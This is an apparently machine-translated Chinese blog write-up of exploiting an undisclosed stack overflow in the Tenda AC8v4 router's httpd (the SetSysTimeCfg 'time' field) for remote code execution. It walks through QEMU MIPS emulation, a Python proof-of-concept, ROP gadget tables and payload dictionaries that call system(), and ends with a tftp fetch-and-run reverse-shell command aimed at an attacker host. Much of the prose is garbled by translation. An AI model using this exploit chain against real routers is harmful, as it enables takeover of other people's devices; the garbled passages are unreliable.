从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE


从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

最近,在学习了 CE 和 DLL 上的一些新奇有趣的东西后,我对二进制利用的热情在不知不觉中被激发了;不知道为什么,但我总是痴迷于程序集、调用者堆栈和 glibc 堆等东西。因此,我决定回顾一下我之前发现的一批 0day,并尝试使用这些有趣的小工具将它们变成 RCE(总觉得控制流程让我感到很满足)

/bin/httpd:服务

该漏洞始于tenda.com其流行Ac8v4路由器上的最新固件;通过访问 的官方固件下载页面https://www.tenda.com.cn/download/detail-3518.html);解压固件后,您应该会看到类似以下内容;其中包含.docx安装固件的介绍和一个神秘.bin文件:

 🐈 V16.03.34.06 tree    .    ├── AC8V4 xxxx.docx    └── US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin

这里的US_AC8V4.0si_V16.03.34.09_cn_TDC01.bin文件是路由器的固件系统Ac8v4!安装Binwalk -Me完成后squashfs,我们可以看到整个路由器的固件系统squashfs-root:

 🐈 squashfs-root tree -L 1        .    ├── .....    ├── etc -> /dev/null    ├── init -> bin/busybox    ├── lib    ├── mnt    ├── proc    ├── root -> /dev/null    ├── sbin    └── .....

正如我们在此处看到的,内部固件具有与Ac8v4普通类 Linux 文件系统相同的架构,其中,,,/root作为此处显示的根目录,但是,我们还可以看到,其中一些文件系统路径指向;这在模拟固件时需要一些技巧:)通过查看这些二进制文件,我发现了一个相当大的可疑二进制文件;大到我们可以假设它是二进制文件的主要服务:/proc/bin/etc/dev/nullhttpd

通过使用 IDA 作为我们的调试器,随着二进制文件的加载,我们可以看到大量的集成 API 列表,例如websPageOpensslFreeConnection…以及其他未命名的 API,例如sub_4222DCsub_495368;但我们怎样才能在如此大量的 API 中找到可能的漏洞呢?魔法就是通过-> 将远程发送的数据解析到托管二进制文件中的函数source-to-sink来排除 sink ;websGetVar

经过一番source-to-sinking思考,我们找到一个可疑的API:,sub_4A79EC该API似乎用于处理/goform/SetSysTimeCfg从调用链sub_4A79EC-> fromSetSysTime->的连接formDefineTendDa,其中定义了所有的webform组件:

int __fastcall sub_4A79EC(int a1){  ....  s = (char *)websGetVar(a1, "time", &unk_4F09E0);  sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);  v18.tm_year = atoi((const char *)v6) - 0x76C;  v18.tm_mon = atoi((const char *)v8) - 1;  ....}

正如websGetVar在 a2 ->”time”从 listen webform中引入的解析一样/goform/SetSysTimeCfg,它s被直接解析成sscanf并存储到基于堆栈的变量中,例如v6,,v8这是非常危险的,因为这是sscanf工作原理:

该sscanf()函数将数据从缓冲区读入参数列表给出的位置。如果缓冲区指向的字符串与格式字符串重叠,则行为未定义。

参数列表中的每个条目都必须是指向与格式字符串中相应的转换规范匹配的类型的变量的指针。 如果类型不匹配,则结果未定义。

格式字符串控制参数列表的解释。格式字符串可以包含以初始移位状态开始和结束的多字节字符。

它sscanf()实际上所做的是过滤arg1和拆分,并将它们保存到不同的基于堆栈的变量中;在我们的例子中,增强s被解析为time中的参数(char *)websGetVar(a1, “time”, &unk_4F09E0);,这里sscanf通过正则表达式过滤输入%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s;它将数据提取到v6或v9或v10或…中作为data1:data2:data2pr data1-data2-data3;这些变量位于堆栈上;更加危险的是

Mipsel 是最好的!

结果readelf -h告诉我们这个二进制文件是建立在Mips字节序的小体系结构上的,要真正ROP在这个体系结构上工作,我们需要比标题备忘单更多地了解这里的命令是如何工作的,并弄清楚如何在虚拟机上运行它们;首先,寄存器的工作原理如下:

“$a0” – “$a3″:函数调用的参数,如果参数超过4个,则超出的参数通过堆栈传递。”$t0” – “$t7″:临时寄存器。”$s0” – “$s7″:保存的寄存器,使用时需要将使用的寄存器保存到堆栈中。”$gp”:全局指针,用于访问32K范围内的数据。”$sp”:堆栈指针,指向堆栈顶部。”$fp”:框架指针。”$ra”:存储返回地址。

正如您所注意到的,Mips没有$bp寄存器,所有基于堆栈的操作都将通过寄存器实现$sp;此外,leaf函数和函数作为堆栈中的行为的概念non-leaf而存在,函数调用其他外部函数作为 API,没有,但在我们的例子中,我们不需要太关注这一点!此外,还支持许多即时操作,例如,如果您不熟悉这一点,建议查看备忘单,这对我们很有帮助!MipsRAleafnon-leafmipsaddiuROP

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

QEMU+ 修补:大脑模拟(我花了两天时间研究的东西)

在我们开始之前,请不要在此任务中使用 WSL2 / WSL,因为我向您保证网络中的预设置将不起作用(就像在 MacBook 的 Arm 上运行 Steam 一样),尝试使用Ubuntu-22.04VMware 可以为您节省大量时间。

硬件虚拟化。它是一个托管虚拟机监视器:它通过动态二进制转换模拟机器的处理器,并为机器提供一组不同的硬件和设备模型,使其能够运行各种操作系统。由于动态转换,QEMU 可以在没有主机内核驱动程序的情况下运行,但仍能提供可接受的性能。它支持各种目标架构,包括但不限于 x86、ARM、MIPS、PowerPC 和 SPARC,这使其成为一种多功能工具,可用于开发、测试或简单地运行不同架构的软件。

MipselTenda Ac8v4为了让我们在无需购买路由器的情况下在与路由器相同的环境中运行映像(我买了一个,但在我撰写本文时仍在运送);我们将需要利用它QEMU作为我们的多架构支持虚拟机MIPsel。QEMU支持不同级别的模拟取决于您的情况,qemu-xxx-static可以允许您独立运行跨架构二进制文件,同时qemu-system-xxx允许您运行整个文件系统,在我们的例子中,qemu-system这对我们来说最有效,因为我们必须处理所有这些动态链接二进制文件和东西;然而,它也需要更多的努力来运行。

首先,我们需要先处理一些配置,和您的ifconfig之间的相互通信总是会引起很多麻烦,对于我们来说,我们将尝试构建一个和设备;哪些虚拟机读取和写入设备作为文件描述符,使用网络接口卡与主机的协议栈进行交互(这需要主机中的桥接器)。qemulocalhosttuntapqemu/dev/net/tuntap0br0

apt-get install bridge-utilsapt-get install uml-utilities
ifconfig ens33 down # ens33 : switch it to your local interfacebrctl addbr br0 # Adding br0brctl addif br0 ens33 # Linking to br0brctl stp br0 on # On stpbrctl setfd br0 2 # forward delaybrctl sethello br0 1 # Hello timeifconfig br0 0.0.0.0 promisc up # enable br0ifconfig ens33 0.0.0.0 promisc up # enable local interfacedhclient br0 # obtain br0's IP via dhclient
brctl show br0 # ls br0brctl showstp br0 # show info of br0
tunctl -t tap0 # add tap0brctl addif br0 tap0 # link to br0ifconfig tap0 0.0.0.0 promisc up # enable tap0ifconfig tap0 192.168.x.x/24 up # assign an ip for tap0 (x in subnet)
brctl showstp br0 # show br0's interface

现在,如果您检查 的信息br0,则目前tap0将为;在我们启动 之后,disable它将变成;此外,和您的本地接口应该位于同一个子网中。继续构建;我们需要在 处安装图像:forwardingqemu-systembr0tap0qemu-system-mipseldebianmipselpeople.debian.org

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-2.6.32-5-4kc-maltawget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

之后,我们就可以qemu-system-mipsel像这样开始模拟!

sudo qemu-system-mipsel     -M malta     -kernel vmlinux-3.2.0-4-4kc-malta     -append "nokaslr root=/dev/sda1"     -hda debian_wheezy_mipsel_standard.qcow2     -net nic -net tap,ifname=tap0,script=no,downscript=no     -nographic

选项-net nic表示QEMU应该在虚拟机中创建虚拟网卡,选项-net tap指定连接类型为TAP,并-ifname指定网络接口名称(也就是tap0前面创建的,本质上是将QEMU虚拟机连接到网桥)。script和downscript选项用于告诉QEMU是否在系统自动启动时调用脚本配置网络环境。如果这两个选项为空,QEMU会在启动和停止时自动选择第一个不存在的TAP接口(通常是tap0)作为参数并调用脚本/etc/qemu-ifup和/etc/qemu-ifdown。由于我们已经配置好了一切,所以我们可以将这两个参数设置为no。

初始化后(默认用户名和密码为root),eth0默认不会自动分配ip地址,我们可以手动分配一个ifconfig eth0 192.168.x.x/24 up(注意将 x 更改为子网中的空闲地址)。现在我们squashfsbinwalk通过命令上传 -ed 固件scp,因为我们在 解压文件系统/root,请确保通过 挂载/dev和/proc到文件系统mount -o bind /dev /root/dev && mount -t proc /proc /root/proc。然后chroot /root sh进入 的文件系统根目录Tenda Ac8v4;

现在如果你运行这个有漏洞的./bin/httpd,你可能会发现两个问题;第一个问题告诉你一些libc文件和符号不存在,这可以通过将其添加到环境中轻松修复export LD_LIBRARY_PATH=/lib:$LD_LIBRARY_PATH。然而,第二个问题需要更多的技巧,在正确设置LD_LIBRARY_PATH并且程序开始运行后,你可能会发现一些非常奇怪的事情;程序会在之后卡住Welcome to …,没有任何网络绑定提示。

好吧,如果你在 IDA 中搜索字符串’welcome’,你交叉引用该字符串将带你到main()!而导致此问题的原因位于ifaddrs_get_ifip()(你应该看到类似这样的内容):

  puts("nnYes:nn      ****** WeLoveLinux****** nn ****** Welcome to ******");  setup_signals();  while ( 1 )  {    lan_ifname = ifaddrs_get_lan_ifname();    if ( ifaddrs_get_ifip(lan_ifname, v10) >= 0 )      break;    sleep(1u);  }

它卡住的原因是由于./bin/httpd将运行一堆网络脚本来确保路由器处于良好状态,尽管如此,这些网络脚本从来都不是那么必要,我们可以通过在ifaddrs_get_ifip汇编中修补返回值来简单地绕过这个断言; 或者很容易,直接跳转到loc_43B798:

.text:0043B768                 lw      $gp, 0x6B8+var_6A8($fp).text:0043B76C                 bgez    $v0, loc_43B798  # <- j loc_43B798.text:0043B770                 nop

如果你不想享受打开 的乐趣IDA Pro,不用担心!你可以在这里下载修补版本 -> github.com;现在替换原始的./bin/httpd,脚本应该可以继续,但其他问题将开始显现;当分配 的监听地址时httpd,httpd可能会说“无法分配地址”或 监听255.255.255.255!这是怎么发生的?如果你搜索’httpd listen ip’字符串;它会带你到socketOpenConnection()并返回到main()

  v4 = ifaddrs_get_lan_ifname();  if ( ifaddrs_get_ifip(v4, v11) < 0 )  {    GetValue("lan.ip", v8);    strcpy(g_lan_ip, v8);    memset(v12, 0, 0x5E4u);    if ( !file_lan_dhcpc_get_ipinfo_and_status(v12) && v12[0x8C] )      strcpy(g_lan_ip, &v12[0x8C]);  }

其中lan.ip来自全局变量g_lan_ip,通常ip在接口处获取br0;在我们的例子中,我们没有br0桥接接口QEMU(我们在UbuntuVMware 中确实有它),因此我们必须使用类似于pre-qemu设置的方法创建一个,使用brctl和ifconfig;我们可以尝试自己手动分配地址,而不是使用dhclient:

brctl addbr br0                        # adding br0 interfaceifconfig br0 192.168.x.x/24 up        # manuly assigning an ip adress

./bin/httpd轰!现在,在导出LD_LIBRARY_PATH、修补ifaddrs_get_ifip()并为我们构建一个界面后重新运行文件br0;现在终于,绑定到正确位置ip并port如httpd – web.c:158调试消息所示,我们可以直接在浏览器中访问它,并且我们可以看到Tenda Ac8v4’s索引页!

$a0+ $t9:溢出和流量控制

溢出

在为 设置了qemu-system的关卡模拟后Tenda Ac8v4,是时候将其付诸实践了!但在开始之前,为 提供服务gdbserver会对./bin/httpd我们有很大帮助!首先,请确保您gdbserver在https://github.com/lucyoa/embedded-tools/tree/master/gdbserver上获取了最新的二进制文件,还要确保您下载了与QEMUVM 对应的正确体系结构,在我们的例子中,我们将选择gdbserver-7.7.1-mipsel-mips32-v1wget来托管;通过或下载后,使用它scp开始提供服务!此外,由于我们在 中调试,我们需要对其进行调试(安装为);此后,您可以通过 连接到此服务器,然后;确保您已连接。chmod +x./gdbserver 0.0.0.0:[PORT_YOU_WANT] ./bin/httpdmipselgdb-multiarchapt install gdb-multiarchgdb-multiarch -q ./bin/httpdtarget remote [address]:[port]continue

如果您在连接 gdbserver 时遇到错误,请尝试重新安装/proc固件:)mount -t proc /proc /root/procchroot . sh

设置完成后gdbserver,我们可以利用这个基于堆栈的溢出作为/goform/SetSysTimeCfg概念验证!我创建了这个poc.py脚本来首先测试溢出:

def sink(        host,        port,        payload    ):
import requests url = "http://{host}:{port}/goform/SetSysTimeCfg" _payload = b'' _payload = b'retr0reg' + b":" + payload data = { b"timeType":b"manual", b"time":_payload }
def send_request(): try: requests.post(url=url, data=data) except Exception as e: print(f"Request failed: {e}")
send_request()

对于我们的初始有效载荷,我们可以使用pwndbg集成来生成一个;在发送相当大的有效载荷后,我们可以看到由于cyclic接收到的程序,这首先允许我们在组件上造成 DoS并停止路由器!Segmentation faultInvaild return address./bin/httpd

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

此时,利用这些特殊模式,我们pwndbg可以cyclic -l计算出相对于我们发送数据的被劫持的流控制偏移量;我们可以知道控制流迁移的原因在offset 123,b’bgaa’ (hex: 0x62676161);这意味着用指针替换该偏移量使我们能够操纵控制流到该地址,以此为基础,我们可以开始高级捆绑并实现我们的最终目标:远程代码执行。

MIP ROP: 指针世界

对于mips架构,与我们在语法中最熟悉的ROP规范相比,这将是一个不同的主题;架构使用不同的机制来实现函数返回。具体来说,使用寄存器和跳转指令来实现函数返回。主要是由于和的使用重点;因此在我们不能总是使用小工具来控制执行流程,而是专注于和;这使得情况更加困难,因为需要对堆栈进行大量预设,并且随着的升高或降低,小工具之间经常发生变化,此外,这还使我们预先规划堆栈小工具和目标变得更加混乱。ROPIntelMIPSMIPSjalja $ra$spmipsROPpop rdi, retregisterspointersROP$sp

首先,由于提供了出色的mipsrop插件,我们可以搜索可用于流量控制的。对于更大的空间利用,我们决定将动态链接库作为我们的小工具库,而不受保护的路由器文件系统(如果我们可以通过泄漏),我们可以在固定偏移处调用它们;在我们的例子中,通过for – > ( ) 位于。知道这一点后,我们可以尝试找到流量控制IDA ProGadgetsROPlib/libc.soASLRROPlibc_basevmmaplibc_baselibc.so77f59000-77fe5000 r-xp 00000000 08:01 78800077f59000gadgets

试验一:$a0操纵

Mipsrop为我们提供了使用非常紧密排列的相应流控制工具来misrop.system()定位修改的方法。在我们的案例中,我们在以下位置发现了这两个:$a0libc.so

Python>mipsrop.system()----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x0004D144  |  addiu $a0,$sp,0x24+var_C                            |  jr    0x24+var_s0($sp)                ||  0x00058920  |  addiu $a0,$sp,0x28+var_C                            |  jr    0x28+var_4($sp)                 |----------------------------------------------------------------------------------------------------------------

正如这两个小工具在0x0004D144和 处所示0x00058920,它们都允许我们通过寄存器(= )$a0在堆栈上控制寄存器(第一个参数寄存器)的偏移量,同时通过 指向()到另一个堆栈偏移量;这使我们能够通过我们可以控制的堆栈数据控制对 for 参数传递的控制,然后再控制流向另一个被调用函数!例如,作为处的小工具,我们可以首先将填充更改为,在偏移量处填充预期值(该值等于- = ),然后将偏移量()填充到跳转地址;创建如下堆栈结构:$spaddiu x,y,zx = y+zjrjmp$sp$a00x0004D144libc.so$pclibc_base + 0x0004D144$a00x24+var_C$sp0x240xC+0x24$sp0x24+var_s00x24+0jr

+------offset------+------value------+|     ret_addr     +  gadget 0x4D144 ||------------------+-----------------||     $sp+0x18     +    $a0_addr     ||------------------+-----------------||     $sp+0x24     +    jr_addr         |+------------------+-----------------+

现在我们知道了( )$pc处的寄存器偏移量,也就是在( ) 处;此外,我们还需要找到 的目标,在本例中,由于我们已经知道 的地址,我们操作-> + (的符号),同时操作传递给 的命令字符串;这将为我们提供第一个漏洞:offset 123b’bgaa’ (hex: 0x62676161)$spoffset 127b’bhaa’ (hex: 0x61616862)ROPlibc_baselibc.sojr_addrlibc_base_systemlibc.sosystem$sp+0x30$a0_system


def _rop(ropcmd: RopCmd):
# 77f59000-77fe5000 r-xp 00000000 08:01 788000 libc_base = 0x77f59000
ret_offset = 0x7b # --> b'bgaa' sp_offset = 0x7f # --> b'bhaa'
_system = 0x004E630

a0_EQ_sp24_c_JR_24sp = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp) # LOAD:0004D144 addiu $a0, $sp, 0x24+var_C # LOAD:0004D148 lw $ra, 0x24+var_s0($sp) # LOAD:0004D14C nop # LOAD:0004D150 jr $ra

a0_EQ_sp28_c_JR_24sp = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp) # LOAD:00058920 addiu $a0, $sp, 0x28+var_C # LOAD:00058924 lw $v1, 0x28+var_C($sp) # LOAD:00058928 lw $ra, 0x28+var_4($sp) # LOAD:0005892C sw $v1, 0($s0) # LOAD:00058930 lw $s0, 0x28+var_8($sp) # LOAD:00058934 jr $ra
_payload = { ret_offset: libc_base + a0_EQ_sp24_c_JR_24sp, (sp_offset + 0x18): b'`mkdir /retr0reg`', (sp_offset + 0x24): libc_base + _system, }
return flat(_payload)

这里我们ROP使用 的pwntoolsflat 方法构建了我们的有效载荷,这避免了大量的’payload +=’操作p32(),并使用偏移量作为字典轻松构建有效载荷;使用libc_base我们之前通过vmmap( /proc/<pid>/maps) 和$pc+$sp偏移量通过cyclic模式字符串获得的;这ROP-Chain应该可以作为$pc更改为libc_base + a0_EQ_sp24_c_JR_24sp;$a0将mov进入sp_offset + 0x18存储我们的位置RCE Command,然后jr进入libc_base + _system的API。现在我们可以通过我们构造的 直接libc system()发送扁平化;让我们看看会发生什么……_payloadsink()

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

好吧,在 处./bin/httpd收到了,它距离 仅几条命令,一方面,这是一个好兆头,表明我们控制了加载到 中的目标符号的流程,并且寄存器确实被修改为指向 的堆栈地址。尽管如此,加载的符号似乎并没有像 中那样停止运行;但为什么呢?SIGSEGV0x77fa7640libc_base + _system: 0x77fa7630libc_base + _systemlibc.so$a00x646b6d60libcsystem0x77fa7640lw $t9, -0x7f90($gp)SIGSEGV

这个问题的答案隐藏在当前命令中:lw $t9, -0x7f90($gp),其中编译器尝试lw从-0x7f90全局寄存器的负偏移量加载字() $gp。这是加载当前符号中调用的其他符号的正常操作libc,例如,如果您检查libc.so中的反编译版本IDA Pro,您会发现此命令正在从全局符号加载memset。但是,由于之前的直接溢出组件,寄存器$gp似乎在此处设置不正确,导致CPU访问非法地址0x7800f34c- 该地址甚至在分段中不存在vmmap!触发SIGSEGV的分段错误CPU。

试验 2:$a0+ $t9?

为了解决这个阻碍我们的问题,我们必须找到一种方法$gp-0x7f90成为一个合法的地址 – 在最好的情况下,memset从加载的指向符号的准确地址libc;这里有一些有趣的事情,如果你查看上面直到system()符号被初始化或加载的时候0x004E630,你会发现这个段,它会告诉你它是如何$gp来的。

LOAD:0004E630                 li      $gp, (unk_9C2D0+0x7FF0 - .)LOAD:0004E638                 addu    $gp, $t9LOAD:0004E63C                 addiu   $sp, -0x450LOAD:0004E640                 la      $t9, memset

不幸的是,该指令在调用之前li阻止了通过 进行直接$gp修改的可能性,因为此处将被加载为立即数;然而,向前看,你会发现,这告诉我们实际原因是寄存器。好吧,这既是好消息也是坏消息。一方面,不可能找到一个通过基于堆栈的值进行操作的小工具,而另一方面,由于几乎不会通过堆栈值进行更改,因此找到它会容易得多。另一方面,我们可能需要为利用构建一个全新的。ROPsystem()$gp(unk_9C2D0+0x7FF0 - .)addu $gp, $t9$t9$gpjmp$gp$t9ROP-chain

但在设计修改寄存器的链之前$t9,最好检查一下什么值合适$t9:

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

0x77f59000+0x004E630通过在( )设置断点system();我们可以发现,尽管 调用了不同的命令$a0,但$t9寄存器始终会被设置为这个神奇的地址 – 0x77fa7630,它看起来是system()符号 的确切起始命令;也在->$t9, -0x7f90($gp)中创建了一个合法地址;现在是我们构造带有操作的时候了,同时允许和加载。libc.soallocated memory0x77ff4000 0x77ff6000 rw-p 2000 8b000 /lib/libc.soROP-Chain$t9$a0arbitraryjmpsystem()libc

价值百万美元的问题是:我们如何才能控制,$t9同时让我们最终jmp回到我们之前的$a0get-shell 小工具;好吧,这需要另一个mipsrop-ing。通过搜索move $t9;我们可以找到大量gadgets满足我们修改期望的负载$t9,无论是通过直接赋值还是通过寄存器间接赋值:

Python>mipsrop.find('move $t9')----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------# tons of indentical gadgets at different address in libc.so.....|  0x0006D970  |  move $t9,$s4                                        |  jr    $s4                             ||  0x0006EFA0  |  move $t9,$s3                                        |  jalr  $s3                             ||  0x0006EFD0  |  move $t9,$s3                                        |  jalr  $s3                             ||  0x00070E14  |  move $t9,$s2                                        |  jalr  $s2                             ||  0x00072E00  |  move $t9,$s3                                        |  jalr  $s3                             ||  0x00075474  |  move $t9,$v0                                        |  jr    $v0                             ||  0x00078190  |  move $t9,$s1                                        |  jalr  $s1                             ||  0x000783D0  |  move $t9,$s1                                        |  jalr  $s1                             ||  0x000784DC  |  move $t9,$s1                                        |  jalr  $s1                             ||  0x0007A19C  |  move $t9,$t1                                        |  jalr  $t1                             ||  0x0007A1B4  |  move $t9,$t0                                        |  jalr  $t0                             ||  0x0007EA1C  |  move $t9,$t0                                        |  jalr  $t0                             ||  0x0007EBD8  |  move $t9,$s2                                        |  jalr  $s2                             ||  0x0001B014  |  move $t9,$s4                                        |  jr    0x1C+var_s18($sp)               |----------------------------------------------------------------------------------------------------------------

但是,为了满足要求,我们将能够将堆栈上的jmp其他内容用作转换器;只有小工具才能按预期运行!它首先将寄存器的值存入,然后存入堆栈地址(),该地址将存储前一个。gadget$a0stack-caller0x0001B014move$s4$t9jmp0x1C+var_s18($sp)$sp + 0x1C + 0x18a0_EQ_sp24_c_JR_24sp

$s4尽管如此,在小工具被触发之前,还需要寻找对寄存器的操作0x0001B014;这项工作相对容易,因为$s4它是堆栈控制中相当常见的中等寄存器;mipsrop.find()对于适合的小工具,我们将继续使用它mipsrop.find(‘.* $s4’);作为$s4操作的寄存器:

Python>mipsrop.find('.* $s4')----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------# 70 lines that fits our requirement....|  0x0007E8C8  |  lw $s4,0x38+var_s10($sp)                            |  jr    0x5C($sp)                       ||  0x0007EB5C  |  lw $s4,0x44+var_s10($sp)                            |  jr    0x5C($sp)                       |----------------------------------------------------------------------------------------------------------------

这次mipsrop.find我们返回了其他的gadgets!幸运的是,它们都包含stack-caller这样的小工具,jr 0x5C($sp)另外还允许我们通过这样的方式进行控制$s4;这次stack-based variable,我们只需选择一个看起来不错的,同时在堆栈上提供更大的空间,并且这两个堆栈指向操作的冲突地址更少;与 相比,它为我们留下了额外的 *()* 空间(这对于 来说并不重要)。$sp0x38+var_s10($sp)0x0007EB5C0x0007E8C8(0x44+0x10)-(0x38-0x10)=0x2c$s4$s4

现在我们可以控制$t9通过$s4,它来自0x44+var_s10($sp),将被设置为gadget0通过ret_addr;我们现在可以指定jr的地址move $t9,$s4,jr 0x1C+var_s18($sp)指向小工具addiu $a0,$sp,0x24+var_C,它将$a0从获得sp+0x24+0xC,然后指向指向jr的地址。0x24+var_s0($sp)

现在,我们可以构造有效载荷如下:

+------offset------+------value---------------------------------------+ <|-- g0|     ret_addr     |  lw $s4,0x38+var_s10($sp) + jr 0x5C($sp))        | ---|------------------+--------------------------------------------------|   ||     $sp+0x24     |  libc_base + system()                              |   ||------------------+--------------------------------------------------|   | g1|     $sp+0x30     |  command_for_$a0                                  |   ||------------------+--------------------------------------------------|<|-|---|     $sp+0x34     |  addiu $a0,$sp,0x24+var_C + jr 0x24+var_s0($sp)  |   |  ||------------------+--------------------------------------------------|   |  ||     $sp+0x48       |  #s4_content                                      |   |  | g2+------------------+--------------------------------------------------|<|-|  ||     $sp+0x5C     |  move $t9,$s4 + jr 0x1C+var_s18($sp)                |------- +------------------+--------------------------------------------------+

试炼三:邪恶$sp

sp_offset现在,如果我们简单地使用我们之前通过获得的对齐所有这些小工具并在堆栈上操作数据cyclic,你会发现一些非常有趣的事情:它根本不起作用!但为什么呢?让我们回顾一下我们之前收集的这些小工具。以前一个和现在gadget我们return_addr将直接指向的第一个为例,除了lw $s4,0x44+var_s10($sp); jr 0x5C($sp)我们都看到的部分之外,实际上还有一部分被隐藏了。

IDA允许我们通过双击地址本身来检查指定地址处的指令,在我们的例子中,双击0x0007E8C8,它将带我们到这里:

LOAD:0007EB5C loc_7EB5C:LOAD:0007EB5C                 lw      $ra, 0x44+var_s18($sp)LOAD:0007EB60                 lw      $s5, 0x44+var_s14($sp)LOAD:0007EB64                 lw      $s4, 0x44+var_s10($sp)LOAD:0007EB68                 lw      $s3, 0x44+var_sC($sp)LOAD:0007EB6C                 lw      $s2, 0x44+var_s8($sp)LOAD:0007EB70                 lw      $s1, 0x44+var_s4($sp)LOAD:0007EB74                 lw      $s0, 0x44+var_s0($sp)LOAD:0007EB78                 jr      $raLOAD:0007EB7C                 addiu   $sp, 0x60

正如0x0007E8C8和0007EB5C所定义的,Action和Control Jump小工具正如我们预期的那样;在Action和小Control Jump工具之间,gadget我们操纵的jmp还包含其他指令,例如这里,寄存器s1-s5还受到我们溢出的堆栈内容的影响;然而,最重要的是,即使在( )指令$sp之后,修改仍然适用于我们;这对我们来说意味着我们的有效载荷中的指针需要考虑到前一个导致的较低值的上升而重新构造;例如,当我们的下一个转到并且已经被提升时;实际将是++ + = ++ ;这对我们的也是一样的,它也通过的改变了指针:

LOAD:0001B014                 move    $t9, $s4LOAD:0001B018                 lw      $ra, 0x1C+var_s18($sp)LOAD:0001B01C                 lw      $s5, 0x1C+var_s14($sp)LOAD:0001B020                 lw      $s4, 0x1C+var_s10($sp)LOAD:0001B024                 lw      $s3, 0x1C+var_sC($sp)LOAD:0001B028                 lw      $s2, 0x1C+var_s8($sp)LOAD:0001B02C                 lw      $s1, 0x1C+var_s4($sp)LOAD:0001B030                 lw      $s0, 0x1C+var_s0($sp)LOAD:0001B034                 jr      $raLOAD:0001B038                 addiu   $sp, 0x38

此时,通过修改$sp,我们可以使用新的偏移量重建我们的有效载荷,该偏移量$sp由这些小工具的调用序列决定,这导致我们使用rop chain:lw $s4 0x48; jr 0x5c-> move $t9,$s4 jr 0x34($sp)-> addiu $a0,$sp,0x28+var_C | jr 0x24($sp);定义$sp

  • sp_offset-> 0x7f:在接收器处定义。

  • sp2-> 0x60:addiu $sp, 0x60。

  • sp3-> 0x38:addiu $sp, 0x38。


_payload = { ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # gad0 (sp_offset + 0x48): t9_target, (sp_offset + 0x38 + 0x18): f'{c2}'.encode(), # $s6, 0x38+var_s18($sp) (sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # gad1 (sp_offset + 0x60 + 0x1C + 0x10): f'{c1}'.encode(), # flow2 $s4-$s5 (caller), this is set via previous control-ed registers (sp_offset + 0x60 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp, (sp_offset + 0x60 + 0x38 + 0x24): libc_base + _system, # gad2 (sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7): f'$({c3});'.encode() }

由于某些神秘的原因,system()似乎还采用了 处的参数$s4-s6,该$s4-$s5参数设置为t9_EQ_s4_JR_1C_p_18(move $t9, $s4)的附加参数,$s6设置为 的gadget1指定stack-based偏移量的附加参数0x38+var_s18($sp);这使我们能够8-bytes通过 执行命令system()。尽管如此,由于在处$a0设置了偏移量,我们可以执行任意长度的命令!gadget3a0_EQ_sp24_c_JR_24spsp_offset + 0x60 + 0x38 + 0x24 + 0xC – 0x7

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

后果:没有 Wget 和连字符

此时,在Tenda Ac8v4路由器上执行任意命令对我们来说将是一件轻而易举的事情。然而,如果你曾经登录过QEMU VM为此路由器的文件系统创建的,你会发现我们几乎什么都无法运行,甚至scp不wget存在busybox,那么我们如何才能创建一个反向shell回到我们的机器呢?好吧,答案仍然隐藏在 中busybox:

Currently defined functions:    [[, adduser, arp, ash, awk, brctl, cat, chmod, cp, date, depmod,    dev, echo, egrep, env, expr, false, fgrep, free, grep, halt,    ifconfig, init, insmod, kill, killall, linuxrc, ln, login, ls, lsmod,    mdev, mkdir, mknod, modprobmount, mv, netstat, passwd, ping, ping6,    poweroff, ps, pwd, reboorm, rmdir, rmmod, route, sed, sh, sleep,    sulogin, sync, tar, telnetd, test, tftp, top, touch, traceroute,    traceroute6, true, umount, uptime, usleep, vconfig, vi, yes

在所有这些有趣的函数中,只有一个引起了我的注意:tftp;(这很讽刺,因为路由器本身与互联网通信的唯一方式是通过tftp或telnetd和ping)有了tftp,我们想到了构建一个反向 shell,将恶意软件和主机连接起来tftp;然后通过路由器的tftp二进制文件获取它;此外,我们还可以chomd +x和./RUNIT,创建一个反向 shell!这有多有趣!通过tftp远程托管服务器,使用:并在 中sudo apt-get install xinetd tftpd tftp指定你,你可以按照本教程进行操作。server_arg/etc/xinetd.d/tftp

这种方法似乎确实很有希望,但是在尝试获取我们编写的恶意软件之后,您会发现一些非常奇怪的事情;当我们将命令传递$(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)到时c3,后端./bin/httpd会一直出错unfinished ();为什么会这样?好吧,回顾一下我们的接收器,您可能会明白为什么(我对此感到困惑了大约 2 个小时,因为我以为这是我的有效载荷的问题,但事实并非如此):

int __fastcall sub_4A79EC(int a1){  ....  s = (char *)websGetVar(a1, "time", &unk_4F09E0);  sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);  v18.tm_year = atoi((const char *)v6) - 0x76C;  v18.tm_mon = atoi((const char *)v8) - 1;  ....}

